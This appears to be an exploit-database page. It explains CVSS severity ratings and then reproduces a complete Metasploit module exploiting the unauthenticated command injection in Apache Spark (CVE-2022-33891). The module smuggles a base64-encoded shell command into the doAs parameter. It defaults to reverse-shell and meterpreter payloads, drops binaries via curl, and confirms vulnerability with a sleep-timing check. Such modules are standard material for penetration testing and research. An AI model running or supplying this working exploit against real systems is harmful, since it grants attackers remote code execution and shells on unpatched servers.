The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Apache Spark Unauthenticated Command Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/stopwatch'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Spark Unauthenticated Command Injection RCE',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in Apache Spark.
Successful exploitation results in remote code execution under the context of the Spark application user.
The command injection occurs because Spark checks the group membership of the user passed
in the ?doAs parameter by using a raw Linux command.
It is triggered by a non-default setting called spark.acls.enable.
This configuration setting spark.acls.enable should be set true in the Spark configuration to make the application vulnerable for this attack.
Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1 are affected by this vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'Kostya Kortchinsky', # Security researcher and discovery of the vulnerability
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author & Metasploit module
],
'References' => [
['URL', 'https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc'], # Disclosure
['URL', 'https://attackerkb.com/topics/5FyKBES4BL/cve-2022-33891'], # Analysis
['CVE', '2022-33891']
],
'DefaultOptions' => {
'SSL' => false,
'WfsDelay' => 5
},
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :in_memory,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'CmdStagerFlavor' => ['printf', 'curl'],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-07-18',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
]
)
end
def execute_command(cmd, _opts = {})
b64 = Rex::Text.encode_base64(cmd)
post_data = "doAs=\`echo #{b64} | base64 -d | bash\`"
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/'),
'data' => post_data
})
rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT => e
elog("A communication error occurred: #{e.message}", error: e)
end
def check
print_status("Checking if #{peer} can be exploited!")
res = execute_command("echo #{Rex::Text.rand_text_alpha_lower(8..12)}")
return CheckCode::Unknown('Did not receive a response from target.') unless res
if res.code != 403
return CheckCode::Safe('Target did not respond with a 403 response.')
end
sleep_time = rand(5..10)
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")
res, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end
print_status("Elapsed time: #{elapsed_time} seconds.")
unless res && elapsed_time >= sleep_time
return CheckCode::Safe('Failed to test command injection.')
end
CheckCode::Vulnerable('Successfully tested command injection.')
end
def exploit
print_status('Exploiting...')
case target['Type']
when :in_memory
execute_command(payload.encoded)
when :dropper
execute_cmdstager(linemax: 1024) # set an appropriate :linemax dependent upon available space
end
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum